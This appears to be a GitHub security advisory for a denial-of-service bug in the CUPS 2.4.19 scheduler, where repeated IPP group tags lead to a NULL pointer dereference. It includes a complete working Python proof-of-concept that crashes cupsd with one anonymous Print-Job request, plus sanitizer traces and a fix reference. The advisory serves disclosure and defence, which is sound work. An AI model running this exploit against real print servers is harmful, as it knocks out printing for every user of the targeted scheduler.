Skip to content

GHSA-wjc4-qhjr-5m5x

CVE Information

Summary

A crafted Print-Job request can crash cupsd through a NULL pointer dereference when the job starts. Repeated IPP group tags create unnamed separator attributes, which add_job() incorrectly converts into job attributes.

Reproduced on CUPS v2.4.19 with both sanitized and non-sanitized builds. An unauthenticated client can trigger the crash if it can reach the scheduler and submit jobs to an existing queue. The crash interrupts service for all printers managed by that cupsd process.

Details

The parser creates a separator when it encounters a repeated group tag (cups/ipp.c:6076–6083):

else if (ipp->curtag == tag)
  ipp->prev = ippAddSeparator(ipp);

ippAddSeparator() creates an attribute with name == NULL and group_tag == IPP_TAG_ZERO. Request validation skips these separator entries.

In add_job(), shared by Print-Job and Create-Job, the following loop changes every attribute after the first two to IPP_TAG_JOB, including separators (scheduler/ipp.c:1882–1887):

for (attr = job->attrs->attrs->next->next; attr; attr = attr->next)
  attr->group_tag = IPP_TAG_JOB;

The separators retain their NULL names but lose the marker used to exclude them from processing. Two consumers then dereference the NULL name:

  • Job startup, verified against a live daemon: get_options() calls ipp_length(), which evaluates strlen(attr->name) in scheduler/job.c:4212–4214.
  • Job persistence, identified by fuzzing: cupsdSaveJob() calls ippWriteIO(), which skips only IPP_TAG_ZERO attributes before evaluating strlen(attr->name) at cups/ipp.c:4689. This path is reached when a dirty terminal-state job is saved during unloading, rather than through the periodic job.cache summary.

Preserving separator attributes during group normalization would address the cause. NULL-name checks in the consumers would provide additional protection.

Proof of concept

Test conditions

  • CUPS v2.4.19.
  • An existing queue that accepts jobs and is enabled to start printing.
  • The submitting client has access to the scheduler and permission to submit jobs without authentication. The default operation policy permits anonymous submission, but listener and access-control settings still determine reachability.
  • The queue accepts the raw document format used below.

Save the script as /tmp/poc.py. It sends one request containing the required operation attributes followed by 39 repeated 0x0a group tags.

#!/usr/bin/env python3
import socket
import struct
import sys

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 631
QUEUE = sys.argv[3] if len(sys.argv) > 3 else "/printers/p1"

def attribute(tag, name, value):
    name = name.encode()
    value = value.encode()
    return (
        struct.pack(">BH", tag, len(name)) + name
        + struct.pack(">H", len(value)) + value
    )

attrs = attribute(0x47, "attributes-charset", "utf-8")
attrs += attribute(0x48, "attributes-natural-language", "en")
attrs += attribute(0x45, "printer-uri", f"ipp://{HOST}:{PORT}{QUEUE}")
attrs += attribute(0x42, "document-format", "application/vnd.cups-raw")
attrs += b"\x0a" * 39

body = (
    struct.pack(">BBHI", 1, 1, 0x0002, 1)
    + b"\x01" + attrs + b"\x03"
    + b"duplicate-group-tag test\n"
)

request = (
    f"POST {QUEUE} HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Content-Type: application/ipp\r\n"
    f"Content-Length: {len(body)}\r\n"
    "Connection: close\r\n\r\n"
).encode() + body

with socket.create_connection((HOST, PORT)) as sock:
    sock.settimeout(15)
    sock.sendall(request)
    try:
        print(sock.recv(4096))
    except socket.timeout:
        print("No response within 15 seconds.")

Run against the test queue:

python3 /tmp/poc.py 127.0.0.1 631 /printers/p1

The live-daemon test accepted the job anonymously, then crashed when printing started. The non-sanitized build terminated with SIGSEGV (SEGV_MAPERR, si_addr=NULL) approximately eight seconds after receiving the request. The sanitized build reported:

job.c:4214:23: runtime error: null pointer passed as argument 1
    #0 ipp_length       scheduler/job.c:4214
    #1 get_options      scheduler/job.c:3916
    #2 cupsdContinueJob scheduler/job.c:861
    #3 start_job        scheduler/job.c:5038
    #4 cupsdCheckJobs   scheduler/job.c:406
    #5 print_job        scheduler/ipp.c:8981

Impact

This is a denial-of-service vulnerability affecting the entire scheduler, not just the submitted job or destination printer.

Where anonymous job submission is reachable, a client can crash cupsd with one request and repeat the request after a restart. Network exposure depends on the server's listening and access-control configuration. The demonstrated impact is process termination; no code execution was demonstrated.

Fix

master is unaffected [2.4.x f3fb41912e4e29dbbbe7c4afd4fe48508af21bc0] Filter out group separators in job creation requests (GHSA-wjc4-qhjr-5m5x)